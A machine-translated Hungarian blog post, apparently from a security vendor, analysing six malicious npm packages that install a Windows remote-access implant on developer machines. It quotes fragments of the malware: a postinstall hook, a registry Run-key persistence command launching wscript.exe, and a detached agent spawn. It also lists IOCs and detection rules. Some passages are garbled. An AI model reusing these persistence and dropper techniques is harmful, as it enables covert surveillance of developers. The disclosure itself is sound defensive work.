DevTap npm elgépelési támadás

DevTap npm elgépelési támadás: Hat rosszindulatú csomag célozza meg a fejlesztői munkaállomásokat

TL, DR

2026. április 1. és május 3. között egyetlen npm kiadó, user0001, regisztrálva a nem ellenőrzött Gmail-címmel tanvisoul9@gmail.com, csendben hat csomagot tett közzé szándékosan semmitmondó, az infrastruktúrára utaló nevekkel: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeés node-env-resolve.

A két legújabb verzió node-env-resolveA , 1.0.7-es és 1.0.8-as verziókat a Xygeni kártevő-előfordulási korai figyelmeztető (MEW) rendszere május 2-án megjelölte, és május 3-án megerősítette kártékony jellegüket.

Az implantátum szokatlan abban, amiben nem az: nincsenek Telegram botok, nincsenek OAST visszahívások, nincsenek ködösítés, és telepítéskor nem próbálják meg lekérni az AWS hitelesítő adatokat. Ehelyett postinstall.js egy Windows rendszerindítási megmaradási bejegyzést telepít egy HKCU Run kulcs használatával, amely elindítja wscript.exe egy VBS csonk ellen. Ezután létrehoz egy leválasztott Node.js ügynököt, amely modulokat tartalmaz a mikrofonrögzítéshez, a böngészési előzmények ellopásához, a képernyőképkészítéshez és az egér/billentyűzet szimulációjához.

Ezt a klasztert nevezzük DevTap, miután a készlet egy fejlesztő gépén fut.

Mind a hat csomag aktív volt az npm-en az írás pillanatában. Beküldtük őket a rendszerleíró adatbázis visszaélés-elhárító csatornájára. A védőknek el kell távolítaniuk a kiadótól az eltávolításig terjedő telepítéseket.

A klaszter: Hat csomag, egy kiadó

A kiadói fiók user0001 nincs ellenőrizve. Nincs SCM ellenőrzés, nincsenek domainhez kötött e-mailek és nincsenek korábbi előzmények. A Gmail-azonosító tanvisoul9 nem szerepel egyetlen más npm kiadói rekordban sem, amit találtunk.

Mind a hat csomag ugyanazt a karbantartót listázza, ugyanarról a fiókról lettek közzétéve, és ugyanazt a hozzáférési pontot használják. package.json sablon. Nincs repository, nem homepage, és nem description hosszabb, mint egyetlen sor.

Az elnevezési stratégia az érdekes rész. A klasszikus függőségi zavarokkal vagy typosquat kampányokkal ellentétben ezek a nevek egyike sem céloz meg egy adott upstream könyvtárat. Ehelyett úgy vannak kalibrálva, hogy eltűnjenek egy valódi könyvtárban. package.json or npm ls kimenet.

CsomagElőször megjelentLegújabb verzióváltozatokSzerep a klaszterben
központi gyűjtő2026-04-01 12:46 UTC1.0.95, 1.0.5-ról 1.0.9-reA klaszter „naplózó segédprogramjának” borítója; legkorábbi publikáció
dom-utils-lite2026-04-14 07:36 UTC1.0.33Általános DOM-segítő borító
node-fetch-lite2026-04-19 10:22 UTC1.0.23A node-fetch családot utánozza
összekötő ügynök2026-04-25 05:12 UTC1.0.01Általános név: „ügynök”
node-gyp-runtime2026-04-25 05:17 UTC1.0.01Utánozza a natív modulok építési eszközeit
node-env-resolve2026-04-25 05:21 UTC1.0.910, 1.0.0-ról 1.0.9-reAktív cseppentő; teljes implantátum

Olyan nevek, mint a centralogger, node-fetch-liteés node-gyp-runtime Úgy tervezték őket, hogy a kódellenőrzés során ellentmondásmentesnek tűnjenek. Úgy hangzanak, mint amik már szerepelnének egy projekt függőségi fájában.

Egy friss, ellenőrizetlen kiadóval és hiányzó adattár-linkekkel kombinálva egy felismerhető mintát alkotnak: egy szereplő alacsony súrlódású neveket vet be a rendszerleíró adatbázisba, majd gyorsan iterál azzal, amelyik igazán számít. Ebben az esetben node-env-resolve tíz verzió érkezett nyolc nap alatt.

Mi kerül egy Windows fejlesztői gépre?

A rosszindulatú lánc be van kapcsolva node-env-resolve:1.0.8 rövid, közvetlen és szokatlanul funkciókban gazdag egy npm RAT esetében.

Telepítés utáni: Perzisztencia és leválasztott ügynök

package.json egyetlen telepítő hook deklarálása:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js három dolgot csinál sorrendben.

Először létrehoz egy telepítési könyvtárat az npm fán kívül. Az elérési utat a szkript futásidejűleg számítja ki a következőképpen: INSTALL_DIREzután egy belső execSync('npm install --production --silent ...') benne, hogy lekérje az implantátum futásidejű függőségeit. Ez az ügynököt lemezre helyezi valahova egy kézikönyvbe node_modules az ellenőrzés nem találja meg.

Másodszor, ír egy VBS indítófájlt, és regisztrálja azt a rendszerindítási perzisztencia érdekében:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe a Windows Script Host, egy aláírt Microsoft bináris fájl, amely a következőt futtatja: .vbs fájlok konzolablak nélkül. Ez előzetescisely, ezért kedvelik az autorun csonkoknál.

Van egyezés is reg delete belső út src/index.js, ami arra utal, hogy az implantátumot úgy tervezték, hogy a kezelő parancsára tisztán eltávolítható legyen.

Harmadszor, létrehoz egy leválasztott gyermekfolyamatot:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Két részlet számít itt.

SERVER_URL a környezetből olvassuk be. Ennek eredményeként a C2 végpont telepítésenként konfigurálható, és nincs beépítve a csomagba. Ez az apró, de szándékos választás kiküszöböli a legtöbb statikus IOC-sweepet.

A létrehozott gyermek örökli a teljes szülői környezetet. Ezért bármely NPM_TOKEN, AWS_*, GITHUB_TOKENA fejlesztői shellben telepítéskor jelen lévő , vagy SSH-ügynök socket a hosszú élettartamú ügynök memóriájába kerül.

Mit szállít az ügynök?

A kötegelt src/ A fa három modult tartalmaz, amelyeknek már a nevük is elárulja a történetüket: audioCapture.js, browserHistory.jsés systemInfo.js.

A futásidejű függőségek listája, a szakaszos folyamat során feloldva npm install, megerősíti őket.

Ez a megközelítés a kaotikus incidenst kontrollált válaszlépéssé alakítja.

A vakon reagálás helyett a csapatok a következőképpen működnek: egyértelmű priorizálás és gyors elhárítás.

FüggőségMire való ebben az összefüggésben
képernyőkép-asztalIdőszakos képernyőkép
@nut-tree-fork/nut-jsEgér és billentyűzet automatizálása / beviteli szimuláció
jobb-sqlite3Chrome, Edge és Firefox History SQLite adatbázisok közvetlen olvasása
adm-zipÖsszegyűjtött tárgyak csomagolása a kiszivárgás előtt
élesKépernyőképek és képhibák átméretezése/tömörítése
socket.io-kliensÁllandó kétirányú C2 csatorna
csomópont-gép-azonosítóStabil, hosztonkénti ujjlenyomat az áldozatok követéséhez

systemInfo.js hívások os.networkInterfaces() további ujjlenyomatvételhez az első jelző előtt.

Miért a hangfelvétel a kiemelkedő jel?

A legtöbb npm RAT, amit a MEW-ben triázunk, a telepítési idejű titkos lopásnál áll meg. ~/.npmrc, olvas ~/.aws/credentials, kaparás process.env, POST küldés egy webhooknak, majd kilépés. Ez illeszkedik egy „összetör és megragad” típusú gazdasági modellhez. A hitelesítő adatoknak rövid a felezési idejük, és a támadónak gyorsan kell pénzt keresnie velük.

node-env-resolve alakjában eltérő.

A perzisztencia úgy van beállítva, hogy túlélje az újraindítást. Az ügynök különállóan és hosszú élettartamúan fut a következő alatt: wscript.exeA benne lévő készlet a fejlesztő gépén való használatra szolgál, nem pedig arra, hogy elkapjuk és otthagyjuk: mikrofonrögzítő, billentyűzet/egér illesztőprogram, teljes böngészési előzmények beolvasása, képernyőkép rögzítése és egy interaktív Socket.IO csatorna visszafelé egy konfigurálható C2-re.

Különösen a mikrofonok rögzítése az a határ, amelyet ez a kampány átlép, és amelyet a legtöbb npm kártevő nem.

Egy fejlesztői munkaállomás egyre inkább az a munkaállomás is, ahol a fejlesztők stand-up előadásokat tartanak, ügyfélhívásokat tartanak, tervezési megbeszéléseket folytatnak, és ügyeleti hidakat tartanak. Egy mikrofont rögzítő implantátum valójában nem a fejlesztő npm tokenjét követi, hanem azt, amit a fejlesztő a laptop előtt mond.

Ez a képességkészlet, valamint a homályosítás hiánya és a telepítés közbeni feltűnő kiszűrés hiánya inkább a célzott hozzáférés előzetes pozicionálását jelenti, mintsem az alkalmi hitelesítő adatok ellopását.

Nem csak ebből adódóan állítjuk a felelősséget. Figyelembe vesszük a működési profilt is.

npm elgépelési támadás - DevTab

A nyolcnapos iterációs ütem be van kapcsolva node-env-resolve az idővonal működés szempontjából legbeszédesebb részlete.

Ez nem egy „tűzd el és felejtsd el” típusú drop. A közzétevő aktívan karbantartja a droppert, ami általában két dolog egyikét jelenti. Vagy tesztkörnyezetekhez hangolja a szélesebb körű telepítés előtt, vagy már rendelkezik telepítési telemetriával, és válaszol is rá.

A másik öt csomag esetében a kezdeti közzététel után gyakorlatilag nem tapasztaltak lemorzsolódást. Ez illeszkedik a támogató klaszter „egyszer lépünk pályára, a nevesített marad” mintájához, miközben a mérnöki munka arra a csomagra összpontosít, amely elvégzi a munkát.

Nevezd meg: Apró nyomok, nincs határozott ítélet

nyilvános OSINT A jelek vékonyak, és nem fogjuk megnyújtani őket. Ami megfigyelhető:

A Gmail-azonosító tanvisoul9 részben egy dél-ázsiai keresztnévre hasonlít, a „Tanvi”-ra. Ez egy gyenge jelzés. A Gmail-felhasználónevek nem azonosítják egymást, és a végén található soul9 általános. Nem biztonságos földrajzi helyeket kikövetkeztetni pusztán az e-mail helyi részéből.

A kód stílusa jellegtelen. Node.js: standard könyvtári hívások, mint például os, child_process, spawnés reg addNincs obfuszkálás, nincs karakterlánc-rotáció és nincs hibakeresés elleni logika. A szerző jól ismeri a Windows rendszerleíró adatbázis primitívjeit és a leválasztott gyermekfolyamatok vezénylését, de úgy tűnik, nem törekszik olyan rejtettebb módszerekre, amelyeket elképzelhetően használhatnának.

A függőségek teljesen kész dolgok és jól ismertek: screenshot-desktop, nut-js, better-sqlite3és socket.io-clientNincs egyedi protokoll, nincs teljesen új C2-verem, és nincs tankönyvön túlmutató újszerű perzisztencia-trükk. HKCU Run billentyűEz egy hozzáértő integrátor, nem egy eszközíró.

Nem találtunk nem angol nyelvű karakterláncokat, beágyazott megjegyzéseket, területi adatokat vagy fordítóprogram által kiadott időzóna-ujjlenyomatokat a közzétett összetevőkben.

Ellenőriztük a kód átfedését a már nyomon követett korábbi kampányokkal, beleértve a következőket: Shai Hulud, Owlivion, Buildkite és a közelmúltbeli heibai / claude-code-best Anthropic-CLI klóncsalád. Nem találtunk ilyet: nincsenek megosztott C2 minták, nincsenek megosztott fájlelrendezések és nincsenek megosztott idiómák.

Amit nem mondanánk: hogy ez egy állami szereplő, egy ismert csoport, vagy földrajzilag bármely adott országhoz kötődik.

A működési profil egy kis, közepesen képzett csapaté, amely fejlesztői munkaállomás-megfigyelést végez. Valószínűleg a hozzáférés későbbi felhasználása, de esetleg egy külön vevő számára nyújtott felderítési szolgáltatás is indokolja ezt.

Két közvetett pont támasztja alá ezt: a figyelmet felkeltő, a klasztert gyorsan felgyújtó exfiltrációs mechanizmusok, például a Telegram botok elkerülése, oastify.com, vagy canarytokens, valamint a szándékosan semmitmondó csomagnevek, amelyek a csendes, hosszú farok telepítéseket részesítik előnyben egy rövid, nagy volumenű megugrással szemben.

Kompromittálódás és felderítés indikátorai

Csomagok és kiadó
MezőÉrték:
npm kiadóuser0001
Kiadó e-mail címetanvisoul9@gmail.com, ellenőrizetlen
Csomagokcentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Megerősített rosszindulatúnode-env-resolve@1.0.7, node-env-resolve@1.0.8
Gazdatermészetek
típusÉrték:
Kitartás kulcsHKCU \ Software \ Microsoft \ Windows \ CurrentVersion \ Run
PerzisztenciaértékVáltozó neve; wscript.exe formátumú adatok " \\ .vbs"
Szerelje fel a horgotpostinstall: postinstall.js csomópont a csomag manifesztjében
Implantátum moduloksrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Átmeneti könyvtárAz INSTALL_DIR a projekt node_modules könyvtárán kívül lett feloldva; a helyet a postinstall.js állította be a telepítéskor.
Hálózat
típusÉrték:
C2 szállítássocket.io-kliens, perzisztens kétirányú csatorna
C2 végpontA SERVER_URL környezeti változón keresztül kerül az ügynökhöz; nincs fixen kódolva a közzétett összetevőkbe.

Észlelési megjegyzések

Két szabály fogja meg ezt a családot a C2 végpont nélkül.

Először is, jelölje meg azokat a telepítés utáni szkripteket, amelyek belső hibakódot hajtanak végre. npm install a csomag saját könyvtárán kívüli elérési útra. Bármely legitim előre összeállított letöltő, például node-gyp újraépített vagy előre elkészített bináris letöltők, a csomagon belül vagy platformon belül írnakstandard ellenőrzött hash-ekkel rendelkező gyorsítótár-útvonalak. Nem ír frissen létrehozott fájlba INSTALL_DIR máshol a lemezen.

Másodszor, jelölje meg a hibás telepítés utáni szkripteket reg add HKCU\…\Run ahol wscript.exe indítóként. Ez lényegében soha nem legitim egy npm csomagból. Jelöld meg és helyezd karanténba.

Egy harmadik heurisztika hasznos a következő testvércsomag felismerésére, mielőtt az megerősítésre kerülne: egy friss npm közzétevő, akinek nincs SCM ellenőrzés, Gmail e-mail, nem repository mező, és több rövid, általános, infrastruktúrára jellemző csomagnév, amelyeket napokon belül tettek közzé egymástól, önmagában elegendő a manuális ellenőrzéshez.

Jelentve az npm nyilvántartásának. Frissítjük ezt a bejegyzést, amint a kiadói fiókot eltávolítják.

sca-tools-software-composition-elemző-eszközök
Szoftverkockázatok rangsorolása, elhárítása és biztosítása
Szerezd meg az ingyenes fiókodat.
Nem szükséges hitelkártya.

Biztosítsa szoftverfejlesztését és -szállítását

az Xygeni termékcsomaggal